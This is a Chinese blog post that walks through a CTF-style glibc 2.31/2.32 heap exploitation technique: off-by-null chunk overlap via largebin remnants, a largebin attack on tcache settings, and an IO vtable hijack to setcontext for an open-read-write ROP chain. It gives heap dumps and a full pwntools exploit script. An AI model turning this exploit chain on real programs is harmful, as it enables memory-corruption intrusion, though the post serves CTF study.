glibc2.31 off-by-null orw 攻击手法刨析

29 篇文章 0 订阅

前言:复习一下glibc2.31版本的orw手法,largebin的残留信息进行unlik,随便弄个题来写的刨析,嘿嘿,
仅large bin chunk的堆块伪造,并即可实现堆块重叠
并large bin attack 任意写攻击TLS结构体中的存放tcache结构体指针的位置,从而可以伪造tcache bin结构体进行任意构造
再通过上述demo任意写控制参数,从而在assert后即可进行栈迁移

glibc2.31 off-by-null orw 攻击手法刨析

Free(3) 3---->unsortbin

free(5) 5-------->unsortbin

unsrotbin:5:3 5 fd:chunk 3 addr 3 bk addr:chunk 5

free(9) 9------>unsortbin

unsortbin:9-5-3 9 fd:chunk 5addr 5 bk:chunk 9 addr fd:chunk 3 3 bk:chunk 5 addr

New(0x2000,'maxbos') #3 遍历unsortbin 没有复合的size,所以将unsrotbin的chunk放到largebin,都有bk_nextsize 和fd_nextsize

chunk 9:Free chunk (largebins) | PREV_INUSE
Addr: 0x55bdf2755840
Size: 0x521
fd: 0x55bdf2755000
bk: 0x7f8917b7a030
fd_nextsize: 0x55bdf2755000
bk_nextsize: 0x55bdf27549f0

chunk 5:Free chunk (largebins) | PREV_INUSE
Addr: 0x55bdf2755000
Size: 0x511
fd: 0x55bdf27549f0
bk: 0x55bdf2755840
fd_nextsize: 0x55bdf27549f0
bk_nextsize: 0x55bdf2755840

chunk 3:Addr: 0x55bdf27549f0
Size: 0x501
fd: 0x7f8917b7a030
bk: 0x55bdf2755000
fd_nextsize: 0x55bdf2755840
bk_nextsize: 0x55bdf2755000

largebins:9 fd:chunk 5 addr fd_nextsize:chunk 5 addr bk_nextsize:chunk 3 addr 5 fd:chunk 3 addr bk:chunk 5 addr ,fd_nextsize: chunk3 addr bk_next_size : chunk 9addr 3fd:mainarena bk:chunk 5addr fd_nextsize:chunk 9 addr bk_nextsize:chunk 5addr

free(3) #0x2000 overlap to top_chunk

New(0x500,'x00'*8+p64(0xE61)) # chunk 5(3) 构造unlink 检测的条件 (这里申请的遍历是遍历fd_nextsize)

0x55ba98c95000: 0x0000000000000000 0x0000000000000511
0x55ba98c95010: 0x0000000000000000 0x0000000000000e61
0x55ba98c95020: 0x000055ba98c949f0 0x000055ba98c95840
0x55ba98c95030: 0x0000000000000000 0x0000000000000000

New(0x4F0,'x00'*8+'x10x00') #5 构造unluink

0x55ffbade79f0: 0x0000000000000000 0x0000000000000501
0x55ffbade7a00: 0x0000000000000000 0x000055ffbade0010
0x55ffbade7a10: 0x000055ffbade8840 0x000055ffbade8840

free(11) #11---->unsortbin

New(0x800,'maxbos') #9 chunk 11--->larbin

Free chunk (largebins) | PREV_INUSE
Addr: 0x559fb0d15e70
Size: 0x501
fd: 0x7f9141f83030
bk: 0x559fb0d15840
fd_nextsize: 0x559fb0d15840
bk_nextsize: 0x559fb0d15840

Free chunk (largebins) | PREV_INUSE
Addr: 0x559fb0d15840
Size: 0x521
fd: 0x559fb0d15e70
bk: 0x7f9141f83030
fd_nextsize: 0x559fb0d15e70
bk_nextsize: 0x559fb0d15e70

largebins: chunk9 fd:chunk 11addr bk:mainarena fd_nextsize:chunk 9 bk_nextsize:chunk 9 chunk 11 fd:mainarena bk:chunk9 addr fd_next_size:chunk 9 addr bk_nextsize:chunk 9 addr

Free(9) #overlap top_chunk

New(0x510,'x10x00') #9 构造unlink条件

New(0x4F0,'x00'*0x20) #11 情况残留下的信息

free(10) #前向合并

0x55ba98c95000: 0x0000000000000000 0x0000000000000511
0x55ba98c95010: 0x0000000000000000 0x0000000000000e61
0x55ba98c95020: 0x000055ba98c949f0 0x000055ba98c95840
0x55ba98c95030: 0x0000000000000000 0x0000000000000000

0x55ffbade79f0: 0x0000000000000000 0x0000000000000501
0x55ffbade7a00: 0x0000000000000000 0x000055ffbade0010
0x55ffbade7a10: 0x000055ffbade8840 0x000055ffbade8840

unlink绕过机制:chunk 10的presize 为e60,向前检测,检测在0x55ba98c95010的size有0xe61于是准备合并到这个地方,由于glibc源码中有unlink检测我们需要绕过,绕过机制:p----fd---bk==p, p->bk->fd == p以及prevsize == size,绕过就可以unlink合并了

New(0x4F0,'maxbos') #10 ---->5 --6 overlap

0x563ad4770000: 0x0000000000000000 0x0000000000000511
0x563ad4770010: 0x0000000000000000 0x0000000000000501
0x563ad4770020: 0x0000006f6278616d 0x00007ffa3ecdb230
0x563ad4770030: 0x0000563ad4770010 0x0000563ad4770010

New(0x1000,'maxbos') #largebin

Show(6)

libc_base = u64(p.recvuntil('x7F')[-6:].ljust(8,'x00')) - 1648 - 0x10 - libc.sym['__malloc_hook']
log.info('libc_base:'+hex(libc_base))
Show(9) 
heap_base = u64(p.recv(6).ljust(8,'x00')) - 0x49F0

New(0x130,'x00'*0x108 + p64(0x4B1)) #14----overlap 7 size 能接下来覆盖chunk的内容

New(0x440,'maxbos') #15

New(0x8B0,'\x00'*0x20 + p64(0x21)*8) #16 剩余的申请完

New(0x430,'maxbos') #17

New(0x108,'maxbos') #18

free(15) #15---unsrotbin

New(800,'mm') #15 -largetbin

free(15) #overlap top_chunk

free(7) #7 unsortbin

0x5615ed7f0620: 0x0000000000000000 0x00000000000004b1
0x5615ed7f0630: 0x00007f9a32655c00 0x00007f9a32655c00
0x5615ed7f0640: 0x0000000000000000 0x0000000000000000
0x5615ed7f0650: 0x0000000000000000 0x0000000000000451
0x5615ed7f0660: 0x00007f9a32656000 0x00007f9a32656000
0x5615ed7f0670: 0x00005615ed7f0650 0x00005615ed7f0650

New(0x4A0,'x00'0x28 + p64(0x451) + p64(main_arena + 1120)2 + p64(heap_base + 0x6650) + p64(magic - 0x20)) #利用largebin attack修改掉mp_.tcache_bins与mp_.tcache_max_bytes,“拓 展”tcache struct

0x55b77feb0620: 0x0000000000000000 0x00000000000004b1
0x55b77feb0630: 0x0000000000000000 0x0000000000000000
0x55b77feb0640: 0x0000000000000000 0x0000000000000000
0x55b77feb0650: 0x0000000000000000 0x0000000000000451
0x55b77feb0660: 0x00007f700788c000 0x00007f700788c000
0x55b77feb0670: 0x000055b77feb1650 0x00007f7007893518 (fd_nextsize---bk)

在最新版的glibc 2.32里,我们看到,第二个分支里确实封堵了以前的利用手法,但是在第一个分支里,仍然可以实现large bin attack,但是该分支利用起来,只是完成往任意地址写一个堆地址的作用,因为这里的bck->bk才是我们的large bin,因此分析来看,我们能够控制的也就是图中第一个分支中的fwd->fd->bk_nextsize,而完成写的操作是在fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; 这句中,即可以往任意地址写上这个unsorted bin chunk堆的地址。而以前旧版large bin attack是可以往任意的两个地址写两个堆地址

pwndbg> x/20xg 0x7f2a33246518+0x20
0x7f2a33246538: 0x000055f999e12490 0x0000000000000000
0x7f2a33246548: 0x00007f2a3323eba0 0x0000000000000000
0x7f2a33246558: 0x0000000000000000 0x0000000000000000
0x7f2a33246568: 0x0000000000000000 0x0000000000000000

Free(17) #chunk 17-----》unsortbin

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5646e23d2490
Size: 0x441
fd: 0x7f8cb4dbec00
bk: 0x7f8cb4dbec00

New(0x800,str(frame) + orw) #15

Free chunk (largebins) | PREV_INUSE
Addr: 0x557af40c2490 #17
Size: 0x441
fd: 0x7fd739593000
bk: 0x557af40c0650
fd_nextsize: 0x557af40c0650
bk_nextsize: 0x7fd73959a518

Free chunk (largebins) | PREV_INUSE
Addr: 0x557af40c0650 $15
Size: 0x451
fd: 0x557af40c2490
bk: 0x7fd739593000
fd_nextsize: 0x557af40c1650
bk_nextsize: 0x557af40c2490

lagebin:15(0x00007f700788c000 0x00007f700788c000
0x55b77feb0670: 0x000055b77feb1650 0x00007f7007893518)-17(bk_nextsize:0x7fd73959a518)

Free(15) #15 orw in topchunk

fwed=fd---bk_nextsize(写入)fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

New(0x430,'maxbos') #17

Free(7)

New(0x4A0,'x00'0x30 + 'x01'0x90 + p64(libc_base + 0x1E54C0 + 0x60)0x10 + p64(libc_base + 0x1E48C0 + 0xA0)0x10)

libc_base + 0x1E54C0 + 0x60:_IO_file_jumps-------setcontext+61

libc_base + 0x1E48C0 + 0xA0:__libc_IO_vtables:orw

Free(0)

Free(1)

New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))

New(0x208,str(frame)[0xA0:])
menu(1)

p.sendafter('Size:',str(0x428))

申请的时候可以jumps-----》setcontext+61------vatable(orw)

完整exp:

#coding:utf-8
from pwn import *
context.log_level='debug'
context.binary='./main'
 
def menu(ch):
    p.sendlineafter('>> ',str(ch))
 
def New(size,content):
    menu(1)
    p.sendlineafter("Size: ",str(size))
    p.sendafter('Content: ',content)
def Modify(index,content):
    menu(2)
    p.sendlineafter('Index: ',str(index))
    p.sendafter('Content: ',content)
 
def Show(index):
    menu(4)
    p.sendlineafter('Index: ',str(index))
 
def Free(index):
    menu(3)
    p.sendlineafter('Index: ',str(index))
 
libc=ELF("/home/root2/Desktop/glibc-all-in-one-master/libs/2.32-0ubuntu3_amd64/libc.so.6")
while True:
    p=process("./main")
    #p=remote("node2.hackingfor.fun",39502)
    try:
        New(0x2000,'maxbos') #0
        New(0x1000,'maxbos') #1
        New(0x2000-0x2F0-0x600,'maxbos') #2
        New(0x4F0,'maxbos') #3
        New(0x108,'maxbos') #4
        New(0x500,'maxbos') #5
        New(0x108,'maxbos') #6
        New(0x108,'maxbos') #7
        New(0x108,'maxbos') #8
        New(0x510,'maxbos') #9
        New(0x108,'maxbos') #10
        New(0x4F0,'maxbos') #11
        New(0x108,'maxbos') #12
        raw_input() 
        Free(3)
 
        Free(5)
        
        Free(9)   #9-5-3  unsortbin
        gdb.attach(p)  
        New(0x2000,'maxbos') #3   lagre bin chunk  fd_nextszie  bk_nextsize 
 
        Free(3)   #overlap topchunk
 
        New(0x500,'\x00'*8+p64(0xE61)) #chunk5   chunk3 bk ----->chunk5   #3
 
        New(0x4F0,'\x00'*8+'\x10\x00')  #5
 
        Free(11)
 
        New(0x800,'maxbos')  #9  chun11 large bin
 
        Free(9)
        New(0x510,'\x10\x00')  #9  0x....840   1/16
        
        New(0x4F0,'\x00'*0x20) #11  
        Modify(10,'\x00'*0x100+p64(0xE60))
 
        Free(11)  #overlap  chunk
 
        New(0x4F0,'maxbos')     #
        
        New(0x1000,'maxbos')
        
        Show(6)
        libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 1648 - 0x10 - libc.sym['__malloc_hook']
        log.info('libc_base:'+hex(libc_base))
        
        Show(9) 
        heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x49F0 
        
        log.info('HEAP:\t' + hex(heap_base))
        
        SROP_addr=heap_base+0x79F0
        log.info('SROP_addr:'+hex(SROP_addr))
        magic = libc_base + 0x1EB538
        log.info('magic:'+hex(magic))
        main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10
        log.info("main_arena:"+hex(main_arena))
        pop_rdi_ret = libc_base + 0x000000000002858F 
        pop_rdx_r12 = libc_base + 0x0000000000114161 
        pop_rsi_ret = libc_base + 0x000000000002AC3F 
        pop_rax_ret = libc_base + 0x0000000000045580 
        syscall_ret = libc_base + 0x00000000000611EA 
        malloc_hook = libc_base + libc.sym['__malloc_hook']
        rsp=heap_base + 0x7A90 + 0x58
        log.info('rsp:'+hex(rsp))
        rip=pop_rdi_ret + 1
        log.info('rip:'+hex(rip))
        Open = libc_base + libc.symbols["open"]
        Read = libc_base + libc.symbols["read"]
        Write = libc_base + libc.symbols['write']
        frame = SigreturnFrame()
        frame.rsp = heap_base + 0x7A90 + 0x58
        frame.rip = pop_rdi_ret + 1
        orw=''
        orw+=p64(pop_rax_ret)+p64(2)
        orw += p64(pop_rdi_ret)+p64(heap_base + 0x7B78)
        orw += p64(pop_rsi_ret)+p64(0)
        orw += p64(syscall_ret)
        orw += p64(pop_rdi_ret) + p64(3)
        orw += p64(pop_rdx_r12) + p64(0x100) + p64(0)
        orw += p64(pop_rsi_ret) + p64(heap_base + 0x10000)
        orw += p64(Read)
        orw += p64(pop_rdi_ret)+p64(1)
        orw += p64(Write)
        orw += './flag.txt\x00\x00'
        #IO_helper_jumps = libc_base + 0x1E38C0
        New(0x130,'\x00'*0x108 + p64(0x4B1)) #14----overlap 7 size
 
        New(0x440,'maxbos') #15
 
        New(0x8B0,'\x00'*0x20 + p64(0x21)*8) #16
 
        New(0x430,'maxbos') #17
        New(0x108,'maxbos') #18
        Free(15)
 
        New(0x800,'maxbos')
        Free(15)
        Free(7)
 
        New(0x4A0,'\x00'*0x28 + p64(0x451) + p64(main_arena + 1120)*2 + p64(heap_base + 0x6650) + p64(magic - 0x20))
        
        Free(17)
 
        New(0x800,str(frame) + orw)   #15
        
        Free(15)   #15  orw  in topchunk
        New(0x430,'maxbos')
 
        Free(7)
        New(0x4A0,'\x00'*0x30 + '\x01'*0x90 + p64(libc_base + 0x1E54C0 + 0x60)*0x10 + p64(libc_base + 0x1E48C0 + 0xA0)*0x10)
        #libc_base + 0x1E54C0 + 0x60:_IO_file_jumps=libc.sym['setcontext'] + 61
        #libc_base + 0x1E48C0 + 0xA0:__libc_IO_vtables:orw
 
        Free(0)
 
        Free(1)
 
        New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))
        
        New(0x208,str(frame)[0xA0:])
        menu(1) 
        p.sendafter('Size:',str(0x428))
        break
    except:
        p.close()
p.interactive()

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值